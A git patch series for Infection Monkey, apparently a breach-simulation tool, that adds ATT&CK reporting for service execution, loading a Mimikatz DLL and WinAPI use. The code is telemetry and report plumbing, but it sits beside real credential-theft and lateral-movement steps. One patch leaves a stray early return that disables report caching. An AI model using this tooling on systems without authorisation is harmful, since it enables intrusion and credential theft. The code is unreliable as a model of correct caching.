From 452724c487e38a3a1e74c2e9f80aed9b7b97c22c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 28 Jun 2019 12:17:39 +0300 Subject: [PATCH 01/43] Implemented service execution attack technique --- monkey/infection_monkey/exploit/smbexec.py | 4 +- .../telemetry/attack/t1035_telem.py | 19 ++++++++ .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 9 ++++ .../attack/technique_reports/T1035.py | 31 +++++++++++++ .../attack/technique_reports/__init__.py | 12 ++--- .../cc/services/config_schema.py | 2 +- .../components/attack/techniques/Helpers.js | 6 ++- .../src/components/attack/techniques/T1035.js | 44 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 10 files changed, 124 insertions(+), 12 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1035_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1035.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index d49e66ae8..ee865e533 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -10,6 +10,8 @@ from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from common.utils.attack_utils import ScanStatus LOG = getLogger(__name__) @@ -129,7 +131,7 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, lpBinaryPathName=cmdline) service = resp['lpServiceHandle'] - + T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send() try: scmr.hRStartServiceW(scmr_rpc, service) except: diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py new file mode 100644 index 000000000..3b0846609 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1035Telem(AttackTelem): + def __init__(self, status, usage): + """ + T1035 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1035Telem, self).__init__('T1035', status) + self.usage = usage + + def get_data(self): + data = super(T1035Telem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 7bec85a32..d33ad125e 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,6 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145 +from monkey_island.cc.services.attack.technique_reports import T1145, T1035 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -17,7 +17,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1059': T1059.T1059, 'T1086': T1086.T1086, 'T1082': T1082.T1082, - 'T1145': T1145.T1145} + 'T1145': T1145.T1145, + 'T1035': T1035.T1035} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 00d3e9536..9262b7536 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -98,6 +98,15 @@ SCHEMA = { "title": "Execution", "type": "object", "properties": { + "T1035": { + "title": "T1035 Service execution", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversaries may execute a binary, command, or script via a method " + "that interacts with Windows services, such as the Service Control Manager.", + "depends_on": ["T1210"] + }, "T1059": { "title": "T1059 Command line interface", "type": "bool", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py new file mode 100644 index 000000000..4dd2b7652 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -0,0 +1,31 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1035(AttackTechnique): + tech_id = "T1035" + unscanned_msg = "Monkey didn't try to interact with Windows services." + scanned_msg = "Monkey tried to interact with Windows services, but failed." + used_msg = "Monkey successfully interacted with Windows services." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'usage': '$data.usage'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}] + + @staticmethod + def get_report_data(): + data = T1035.get_tech_base_data() + data.update({'services': list(mongo.db.telemetry.aggregate(T1035.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index edd180d50..81b7dd6bf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -52,13 +52,13 @@ class AttackTechnique(object): Gets the status of a certain attack technique. :return: ScanStatus Enum object """ - if mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.USED.value, - 'technique': cls.tech_id}): + if mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.USED.value, + 'data.technique': cls.tech_id}): return ScanStatus.USED - elif mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.SCANNED.value, - 'technique': cls.tech_id}): + elif mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.SCANNED.value, + 'data.technique': cls.tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index bc66fa8e7..34dea9a14 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -14,7 +14,7 @@ SCHEMA = { "SmbExploiter" ], "title": "SMB Exploiter", - "attack_techniques": ["T1110", "T1075"] + "attack_techniques": ["T1110", "T1075", "T1035"] }, { "type": "string", diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 9885219ad..1060f4b2d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -11,7 +11,11 @@ export function renderMachine(val){ export function renderMachineFromSystemData(data) { let machineStr = data['hostname'] + " ( "; data['ips'].forEach(function(ipInfo){ - machineStr += ipInfo['addr'] + " "; + if(typeof ipInfo === "object"){ + machineStr += ipInfo['addr'] + " "; + } else { + machineStr += ipInfo + " "; + } }); return machineStr + ")" } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js new file mode 100644 index 000000000..b760226b8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js @@ -0,0 +1,44 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData } from "./Helpers" + + +class T1035 extends React.Component { + + constructor(props) { + super(props); + } + + static getServiceColumns() { + return ([{ + columns: [ + {Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x._id.machine), + style: { 'whiteSpace': 'unset' }, + width: 300}, + {Header: 'Usage', + id: 'usage', + accessor: x => x._id.usage, + style: { 'whiteSpace': 'unset' }}] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.services.length !== 0 ? + : ""} +
+ ); + } +} + +export default T1035; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 348510175..a18754f1d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -14,6 +14,7 @@ import T1059 from "../attack/techniques/T1059"; import T1086 from "../attack/techniques/T1086"; import T1082 from "../attack/techniques/T1082"; import T1145 from "../attack/techniques/T1145"; +import T1035 from "../attack/techniques/T1035"; const tech_components = { 'T1210': T1210, @@ -24,7 +25,8 @@ const tech_components = { 'T1059': T1059, 'T1086': T1086, 'T1082': T1082, - 'T1145': T1145 + 'T1145': T1145, + 'T1035': T1035 }; const classNames = require('classnames'); From d1f8e522664b38031c9ca904715a433a03149d86 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Jul 2019 11:30:49 +0300 Subject: [PATCH 02/43] Implemented execution trough module load attack technique --- .../system_info/mimikatz_collector.py | 5 +++- .../telemetry/attack/t1035_telem.py | 14 ++------- .../telemetry/attack/t1129_telem.py | 11 +++++++ .../telemetry/attack/usage_telem.py | 20 +++++++++++++ .../cc/services/attack/attack_report.py | 7 +++-- .../cc/services/attack/attack_schema.py | 9 ++++++ .../attack/technique_reports/T1035.py | 16 +--------- .../attack/technique_reports/T1129.py | 17 +++++++++++ .../attack/technique_reports/__init__.py | 20 +++++++++++++ .../components/attack/techniques/Helpers.js | 16 ++++++++++ .../src/components/attack/techniques/T1035.js | 18 ++---------- .../src/components/attack/techniques/T1129.js | 29 +++++++++++++++++++ .../report-components/AttackReport.js | 4 ++- 13 files changed, 139 insertions(+), 47 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1129_telem.py create mode 100644 monkey/infection_monkey/telemetry/attack/usage_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1129.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 4ef764251..4f2348531 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -5,7 +5,8 @@ import socket import zipfile import infection_monkey.config - +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1129_telem import T1129Telem from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -49,8 +50,10 @@ class MimikatzCollector(object): self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) self._isInit = True + T1129Telem(ScanStatus.USED, "Windows module loader was used to load Mimikatz DLL.").send() except Exception: LOG.exception("Error initializing mimikatz collector") + T1129Telem(ScanStatus.SCANNED, "Monkey tried to load Mimikatz DLL, but failed.").send() def get_logon_info(self): """ diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py index 3b0846609..b3d7c90de 100644 --- a/monkey/infection_monkey/telemetry/attack/t1035_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -1,19 +1,11 @@ -from infection_monkey.telemetry.attack.attack_telem import AttackTelem +from infection_monkey.telemetry.attack.usage_telem import UsageTelem -class T1035Telem(AttackTelem): +class T1035Telem(UsageTelem): def __init__(self, status, usage): """ T1035 telemetry. :param status: ScanStatus of technique :param usage: Usage string """ - super(T1035Telem, self).__init__('T1035', status) - self.usage = usage - - def get_data(self): - data = super(T1035Telem, self).get_data() - data.update({ - 'usage': self.usage - }) - return data + super(T1035Telem, self).__init__('T1035', status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py new file mode 100644 index 000000000..fb7d776c6 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1129Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1129 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1129Telem, self).__init__("T1129", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py new file mode 100644 index 000000000..48ff5431c --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -0,0 +1,20 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class UsageTelem(AttackTelem): + + def __init__(self, technique, status, usage): + """ + T1035 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(UsageTelem, self).__init__(technique, status) + self.usage = usage + + def get_data(self): + data = super(UsageTelem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index d33ad125e..ab5b82245 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,6 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145, T1035 +from monkey_island.cc.services.attack.technique_reports import T1145, T1035, T1129 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -18,7 +18,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1086': T1086.T1086, 'T1082': T1082.T1082, 'T1145': T1145.T1145, - 'T1035': T1035.T1035} + 'T1035': T1035.T1035, + 'T1129': T1129.T1129} REPORT_NAME = 'new_report' @@ -58,12 +59,12 @@ class AttackReportService: Gets latest report (by retrieving it from db or generating a new one). :return: report dict. """ + return AttackReportService.generate_new_report() if AttackReportService.is_report_generated(): telem_time = AttackReportService.get_latest_attack_telem_time() latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']: return latest_report - return AttackReportService.generate_new_report() @staticmethod def is_report_generated(): diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 9262b7536..957731251 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -107,6 +107,15 @@ SCHEMA = { "that interacts with Windows services, such as the Service Control Manager.", "depends_on": ["T1210"] }, + "T1129": { + "title": "T1129 Execution through module load", + "type": "bool", + "value": True, + "necessary": False, + "description": "The Windows module loader can be instructed to load DLLs from arbitrary " + "local paths and arbitrary Universal Naming Convention (UNC) network paths.", + "depends_on": ["T1078", "T1003"] + }, "T1059": { "title": "T1059 Command line interface", "type": "bool", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index 4dd2b7652..a651a8288 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -10,22 +10,8 @@ class T1035(AttackTechnique): scanned_msg = "Monkey tried to interact with Windows services, but failed." used_msg = "Monkey successfully interacted with Windows services." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': tech_id}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'usage': '$data.usage'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}] - @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - data.update({'services': list(mongo.db.telemetry.aggregate(T1035.query))}) + data.update({'services': list(mongo.db.telemetry.aggregate(T1035.get_usage_query()))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py new file mode 100644 index 000000000..7d9fa9dd0 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -0,0 +1,17 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1129(AttackTechnique): + tech_id = "T1129" + unscanned_msg = "Monkey didn't try to load any DLL's." + scanned_msg = "Monkey tried to load DLL's, but failed." + used_msg = "Monkey successfully loaded DLL's using Windows module loader." + + @staticmethod + def get_report_data(): + data = T1129.get_tech_base_data() + data.update({'dlls': list(mongo.db.telemetry.aggregate(T1129.get_usage_query()))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 81b7dd6bf..b3b3ce77b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -112,3 +112,23 @@ class AttackTechnique(object): data = cls.get_message_and_status(status) data.update({'title': cls.technique_title()}) return data + + @classmethod + def get_usage_query(cls): + """ + :return: Query that parses attack telems for simple report component + (gets machines and attack technique usage). + """ + return [{'$match': {'telem_category': 'attack', + 'data.technique': cls.tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'usage': '$data.usage'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}] diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 1060f4b2d..fad2087d9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -19,3 +19,19 @@ export function renderMachineFromSystemData(data) { }); return machineStr + ")" } + +/* Formats telemetry data that contains _id.machine and _id.usage fields into columns + for react table. */ +export function getUsageColumns() { + return ([{ + columns: [ + {Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x._id.machine), + style: { 'whiteSpace': 'unset' }, + width: 300}, + {Header: 'Usage', + id: 'usage', + accessor: x => x._id.usage, + style: { 'whiteSpace': 'unset' }}] + }])} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js index b760226b8..7345ca497 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData } from "./Helpers" +import { getUsageColumns } from "./Helpers" class T1035 extends React.Component { @@ -10,20 +10,6 @@ class T1035 extends React.Component { super(props); } - static getServiceColumns() { - return ([{ - columns: [ - {Header: 'Machine', - id: 'machine', - accessor: x => renderMachineFromSystemData(x._id.machine), - style: { 'whiteSpace': 'unset' }, - width: 300}, - {Header: 'Usage', - id: 'usage', - accessor: x => x._id.usage, - style: { 'whiteSpace': 'unset' }}] - }])}; - render() { return (
@@ -31,7 +17,7 @@ class T1035 extends React.Component {
{this.props.data.services.length !== 0 ? +
{this.props.data.message}
+
+ {this.props.data.dlls.length !== 0 ? + : ""} +
+ ); + } +} + +export default T1129; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index a18754f1d..57ac66f87 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -15,6 +15,7 @@ import T1086 from "../attack/techniques/T1086"; import T1082 from "../attack/techniques/T1082"; import T1145 from "../attack/techniques/T1145"; import T1035 from "../attack/techniques/T1035"; +import T1129 from "../attack/techniques/T1129"; const tech_components = { 'T1210': T1210, @@ -26,7 +27,8 @@ const tech_components = { 'T1086': T1086, 'T1082': T1082, 'T1145': T1145, - 'T1035': T1035 + 'T1035': T1035, + 'T1129': T1129 }; const classNames = require('classnames'); From 9415f6e73c6996f1d3dc22e3a629cd1c0c73928f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Jul 2019 16:52:57 +0300 Subject: [PATCH 03/43] Execution trough WinAPI attack technique implemented --- monkey/infection_monkey/dropper.py | 4 +++ .../system_info/mimikatz_collector.py | 7 +++-- monkey/infection_monkey/system_singleton.py | 6 +++- .../telemetry/attack/t1106_telem.py | 11 +++++++ .../cc/services/attack/attack_report.py | 5 ++-- .../cc/services/attack/attack_schema.py | 9 ++++++ .../attack/technique_reports/T1106.py | 17 +++++++++++ .../cc/services/config_schema.py | 4 +-- .../src/components/attack/techniques/T1106.js | 30 +++++++++++++++++++ .../report-components/AttackReport.js | 4 ++- 10 files changed, 89 insertions(+), 8 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1106_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1106.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index cc065a745..e39860d50 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -14,6 +14,8 @@ from infection_monkey.config import WormConfiguration from infection_monkey.exploit.tools import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from common.utils.attack_utils import ScanStatus if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -156,5 +158,7 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) + T1106Telem(ScanStatus.USED, "WinAPI was used to mark monkey files" + " for deletion on next boot.").send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 4f2348531..96b53be35 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -7,6 +7,7 @@ import zipfile import infection_monkey.config from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1129_telem import T1129Telem +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -46,6 +47,7 @@ class MimikatzCollector(object): collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) + T1106Telem(ScanStatus.USED, "WinAPI was called to load mimikatz.").send() self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) @@ -54,6 +56,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error initializing mimikatz collector") T1129Telem(ScanStatus.SCANNED, "Monkey tried to load Mimikatz DLL, but failed.").send() + T1106Telem(ScanStatus.SCANNED, "Monkey tried to call WinAPI to load mimikatz.").send() def get_logon_info(self): """ @@ -70,7 +73,7 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() - + self.mimikatz_text = self._get_text_output_proto() for i in range(entry_count): @@ -105,7 +108,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error getting logon info") return {} - + def get_mimikatz_text(self): return self.mimikatz_text diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 9f56c238e..06a2ea689 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -4,6 +4,8 @@ import sys from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from common.utils.attack_utils import ScanStatus __author__ = 'itamar' @@ -46,6 +48,8 @@ class WindowsSystemSingleton(_SystemSingleton): if not handle: LOG.error("Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error) + T1106Telem(ScanStatus.SCANNED, "WinAPI call to acquire system singleton " + "for monkey process wasn't successful.").send() return False @@ -56,7 +60,7 @@ class WindowsSystemSingleton(_SystemSingleton): return False self._mutex_handle = handle - + T1106Telem(ScanStatus.USED, "WinAPI was called to acquire system singleton for monkey's process.").send() LOG.debug("Global singleton mutex %r acquired", self._mutex_name) diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py new file mode 100644 index 000000000..30cad6072 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1106Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1129 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1106Telem, self).__init__("T1106", status, usage) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index ab5b82245..8e7d44905 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,6 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145, T1035, T1129 +from monkey_island.cc.services.attack.technique_reports import T1145, T1035, T1129, T1106 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -19,7 +19,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1082': T1082.T1082, 'T1145': T1145.T1145, 'T1035': T1035.T1035, - 'T1129': T1129.T1129} + 'T1129': T1129.T1129, + 'T1106': T1106.T1106} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 957731251..4a4402dc1 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -116,6 +116,15 @@ SCHEMA = { "local paths and arbitrary Universal Naming Convention (UNC) network paths.", "depends_on": ["T1078", "T1003"] }, + "T1106": { + "title": "T1106 Execution through API", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversary tools may directly use the Windows application " + "programming interface (API) to execute binaries.", + "depends_on": ["T1210"] + }, "T1059": { "title": "T1059 Command line interface", "type": "bool", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py new file mode 100644 index 000000000..b24d10bd9 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -0,0 +1,17 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1106(AttackTechnique): + tech_id = "T1106" + unscanned_msg = "Monkey didn't try to directly use WinAPI." + scanned_msg = "Monkey tried to use WinAPI, but failed." + used_msg = "Monkey successfully used WinAPI." + + @staticmethod + def get_report_data(): + data = T1106.get_tech_base_data() + data.update({'api_uses': list(mongo.db.telemetry.aggregate(T1106.get_usage_query()))}) + return data diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 34dea9a14..c79b14eaa 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -22,7 +22,7 @@ SCHEMA = { "WmiExploiter" ], "title": "WMI Exploiter", - "attack_techniques": ["T1110"] + "attack_techniques": ["T1110", "T1106"] }, { "type": "string", @@ -54,7 +54,7 @@ SCHEMA = { "SSHExploiter" ], "title": "SSH Exploiter", - "attack_techniques": ["T1110", "T1145"] + "attack_techniques": ["T1110", "T1145", "T1106"] }, { "type": "string", diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js new file mode 100644 index 000000000..a3210b73c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1106 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.api_uses.length !== 0 ? + : ""} +
